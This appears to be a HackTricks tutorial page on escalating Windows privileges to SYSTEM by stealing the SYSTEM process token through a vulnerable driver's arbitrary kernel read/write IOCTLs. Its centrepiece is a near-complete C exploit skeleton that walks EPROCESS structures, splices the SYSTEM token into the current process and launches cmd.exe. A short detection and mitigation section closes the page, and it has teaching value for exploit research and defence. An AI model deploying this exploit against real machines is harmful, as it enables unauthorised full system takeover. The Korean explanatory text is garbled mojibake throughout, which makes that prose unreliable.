Windows kernel EoP: Token stealing with arbitrary kernel R/W
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
์ทจ์ฝํ ๋๋ผ์ด๋ฒ๊ฐ ๊ณต๊ฒฉ์์๊ฒ ์์์ ์ปค๋ ์ฝ๊ธฐ ๋ฐ/๋๋ ์ฐ๊ธฐ primitives๋ฅผ ์ ๊ณตํ๋ IOCTL์ ๋ ธ์ถํ๋ฉด, NT AUTHORITY\SYSTEM์ผ๋ก ๊ถํ ์์น์ ์ข ์ข SYSTEM ์ ๊ทผ token์ ํ์ทจํจ์ผ๋ก์จ ๋ฌ์ฑํ ์ ์์ต๋๋ค. ์ด ๊ธฐ๋ฒ์ SYSTEM ํ๋ก์ธ์ค์ EPROCESS์์ Token ํฌ์ธํฐ๋ฅผ ํ์ฌ ํ๋ก์ธ์ค์ EPROCESS๋ก ๋ณต์ฌํฉ๋๋ค.
์๋ ์๋ฆฌ:
- ๊ฐ ํ๋ก์ธ์ค๋ EPROCESS ๊ตฌ์กฐ์ฒด๋ฅผ ๊ฐ์ง๋ฉฐ(๋ค๋ฅธ ํ๋๋ค ์ค์์) Token(์ค์ ๋ก๋ ํ ํฐ ๊ฐ์ฒด์ ๋ํ EX_FAST_REF)์ ํฌํจํฉ๋๋ค.
- SYSTEM ํ๋ก์ธ์ค(PID 4)๋ ๋ชจ๋ ๊ถํ์ด ํ์ฑํ๋ ํ ํฐ์ ๋ณด์ ํฉ๋๋ค.
- ํ์ฌ ํ๋ก์ธ์ค์ EPROCESS.Token์ SYSTEM ํ ํฐ ํฌ์ธํฐ๋ก ๊ต์ฒดํ๋ฉด ํ์ฌ ํ๋ก์ธ์ค๋ ์ฆ์ SYSTEM์ผ๋ก ์คํ๋ฉ๋๋ค.
EPROCESS ๋ด์ ์คํ์ ์ Windows ๋ฒ์ ๋ง๋ค ๋ค๋ฆ ๋๋ค. ๋์ ์ผ๋ก(์ฌ๋ณผ) ๊ฒฐ์ ํ๊ฑฐ๋ ๋ฒ์ ๋ณ ์์๋ฅผ ์ฌ์ฉํ์ธ์. ๋ํ EPROCESS.Token์ EX_FAST_REF๋ผ๋ ์ (ํ์ 3๋นํธ๊ฐ ์ฐธ์กฐ ์นด์ดํธ ํ๋๊ทธ๋ก ์ฌ์ฉ๋จ)์ ๊ธฐ์ตํ์ธ์.
๊ณ ์์ค ๋จ๊ณ
- ntoskrnl.exe ๋ฒ ์ด์ค๋ฅผ ์ฐพ๊ณ PsInitialSystemProcess์ ์ฃผ์๋ฅผ ํ์ธํฉ๋๋ค.
- ์ฌ์ฉ์ ๋ชจ๋์์๋ NtQuerySystemInformation(SystemModuleInformation) ๋๋ EnumDeviceDrivers๋ฅผ ์ฌ์ฉํด ๋ก๋๋ ๋๋ผ์ด๋ฒ ๋ฒ ์ด์ค๋ฅผ ์ป์ต๋๋ค.
- ์ปค๋ ๋ฒ ์ด์ค์ PsInitialSystemProcess์ ์คํ์ (์ฌ๋ณผ/๋ฆฌ๋ฒ์ฑ์์ ์ป์ ๊ฐ)์ ๋ํด ํด๋น ์ฃผ์๋ฅผ ์ป์ต๋๋ค.
- PsInitialSystemProcess์์ ํฌ์ธํฐ๋ฅผ ์ฝ์ต๋๋ค โ ์ด๋ SYSTEM์ EPROCESS๋ฅผ ๊ฐ๋ฆฌํค๋ ์ปค๋ ํฌ์ธํฐ์ ๋๋ค.
- SYSTEM EPROCESS์์ UniqueProcessId์ ActiveProcessLinks ์คํ์ ์ ์ฝ์ด EPROCESS ๊ตฌ์กฐ์ฒด๋ค์ ์ด์ค ์ฐ๊ฒฐ ๋ฆฌ์คํธ(ActiveProcessLinks.Flink/Blink)๋ฅผ ์ํํ์ฌ UniqueProcessId๊ฐ GetCurrentProcessId()์ ์ผ์นํ๋ EPROCESS๋ฅผ ์ฐพ์ต๋๋ค. ๋ค์ ๋ ๊ฐ์ ๋ณด๊ดํ์ธ์:
- EPROCESS_SYSTEM (SYSTEM์ฉ)
- EPROCESS_SELF (ํ์ฌ ํ๋ก์ธ์ค์ฉ)
- SYSTEM ํ ํฐ ๊ฐ ์ฝ๊ธฐ: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- ํ์ 3๋นํธ๋ฅผ ๋ง์คํน: Token_SYS_masked = Token_SYS & ~0xF (๋น๋์ ๋ฐ๋ผ ์ผ๋ฐ์ ์ผ๋ก ~0xF ๋๋ ~0x7; x64์์๋ ํ์ 3๋นํธ ์ฌ์ฉ โ 0xFFFFFFFFFFFFFFF8 ๋ง์คํฌ).
- Option A (์ผ๋ฐ์ ): ํ์ฌ ํ ํฐ์์ ํ์ 3๋นํธ๋ฅผ ๋ณด์กดํ์ฌ SYSTEM ํฌ์ธํฐ์ ํฉ์ณ ๋ด์ฅ๋ ์ฐธ์กฐ ์นด์ดํธ ์ผ๊ด์ฑ์ ์ ์งํฉ๋๋ค.
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
- ์ปค๋ ์ฐ๊ธฐ primitive๋ฅผ ์ฌ์ฉํด Token_NEW๋ฅผ (EPROCESS_SELF + TokenOffset)์ ๋ค์ ์๋๋ค.
- ํ์ฌ ํ๋ก์ธ์ค๋ ์ด์ SYSTEM์ ๋๋ค. ์ ํ์ ์ผ๋ก ์๋ก์ด cmd.exe ๋๋ powershell.exe๋ฅผ ์คํํด ํ์ธํ์ธ์.
์์ฌ์ฝ๋
์๋๋ ์ทจ์ฝํ ๋๋ผ์ด๋ฒ์ ๋ IOCTL(ํ๋๋ 8-byte ์ปค๋ ์ฝ๊ธฐ, ๋ค๋ฅธ ํ๋๋ 8-byte ์ปค๋ ์ฐ๊ธฐ)๋ง ์ฌ์ฉํ๋ ๊ณจ๊ฒฉ์ ๋๋ค. ๋๋ผ์ด๋ฒ ์ธํฐํ์ด์ค์ ๋ง๊ฒ ๊ต์ฒดํ์ธ์.
#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>
// Device + IOCTLs are driver-specific
#define DEV_PATH "\\\\.\\VulnDrv"
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Version-specific (examples only โ resolve per build!)
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
}
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
struct { uint64_t addr, val; } in; DWORD ret;
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
}
// Get ntoskrnl base (one option)
uint64_t get_nt_base(void) {
LPVOID drivers[1024]; DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
return (uint64_t)drivers[0]; // first is typically ntoskrnl
}
return 0;
}
int main(void) {
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) return 1;
// 1) Resolve PsInitialSystemProcess
uint64_t nt = get_nt_base();
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
// 2) Read SYSTEM EPROCESS
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
// 3) Walk ActiveProcessLinks to find current EPROCESS
DWORD myPid = GetCurrentProcessId();
uint64_t cur = EPROC_SYS; // list is circular
uint64_t EPROC_ME = 0;
do {
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
} while (cur != EPROC_SYS);
// 4) Read tokens
uint64_t tok_sys, tok_me;
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
// 5) Mask EX_FAST_REF low bits and splice refcount bits
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
// 6) Write back
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
// 7) We are SYSTEM now
system("cmd.exe");
return 0;
}
๋ ธํธ:
- Offsets: ํ๊น์ PDBs ๋๋ ๋ฐํ์ ์ฌ๋ณผ ๋ก๋์ ํจ๊ป WinDbg์
dt nt!_EPROCESS๋ฅผ ์ฌ์ฉํ์ฌ ์ฌ๋ฐ๋ฅธ ์คํ์ ์ ํ์ธํ์ธ์. ๋ฌดํฑ๋๊ณ ํ๋์ฝ๋ฉํ์ง ๋ง์ญ์์ค. - Mask: x64์์๋ ํ ํฐ์ด EX_FAST_REF์ ๋๋ค; ํ์ 3๋นํธ๋ ์ฐธ์กฐ ์นด์ดํธ ๋นํธ์ ๋๋ค. ํ ํฐ์ ์๋ ํ์ ๋นํธ๋ฅผ ์ ์งํ๋ฉด ์ฆ๊ฐ์ ์ธ refcount ๋ถ์ผ์น๋ฅผ ํผํ ์ ์์ต๋๋ค.
- Stability: ํ์ฌ ํ๋ก์ธ์ค์ ๊ถํ ์์น์ ์ฐ์ ํ์ธ์; ๋จ๋ช ํ๋ ํฌํผ๋ฅผ ์น๊ฒฉํ๋ฉด ํด๋น ํ๋ก์ธ์ค๊ฐ ์ข ๋ฃ๋ ๋ SYSTEM ๊ถํ์ ์์ ์ ์์ต๋๋ค.
ํ์ง ๋ฐ ์ํ
- ์๋ช ๋์ง ์์๊ฑฐ๋ ์ ๋ขฐํ ์ ์๋ ์๋ํํฐ ๋๋ผ์ด๋ฒ๊ฐ ๊ฐ๋ ฅํ IOCTL์ ๋ ธ์ถํ๋ ๊ฒ์ด ๊ทผ๋ณธ ์์ธ์ ๋๋ค.
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, and Attack Surface Reduction ๊ท์น์ ์ทจ์ฝํ ๋๋ผ์ด๋ฒ์ ๋ก๋๋ฅผ ๋ฐฉ์งํ ์ ์์ต๋๋ค.
- EDR๋ ์์์ ์ฝ๊ธฐ/์ฐ๊ธฐ(arbitrary read/write)๋ฅผ ๊ตฌํํ๋ ์์ฌ์ค๋ฌ์ด IOCTL ์ํ์ค์ ํ ํฐ ๊ต์ฒด๋ฅผ ๋ชจ๋ํฐ๋งํ ์ ์์ต๋๋ค.
์ฐธ๊ณ ์๋ฃ
- HTB Reaper: Format-string leak + stack BOF โ VirtualAlloc ROP (RCE) and kernel token theft
- FuzzySecurity โ Windows Kernel ExploitDev (token stealing examples)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


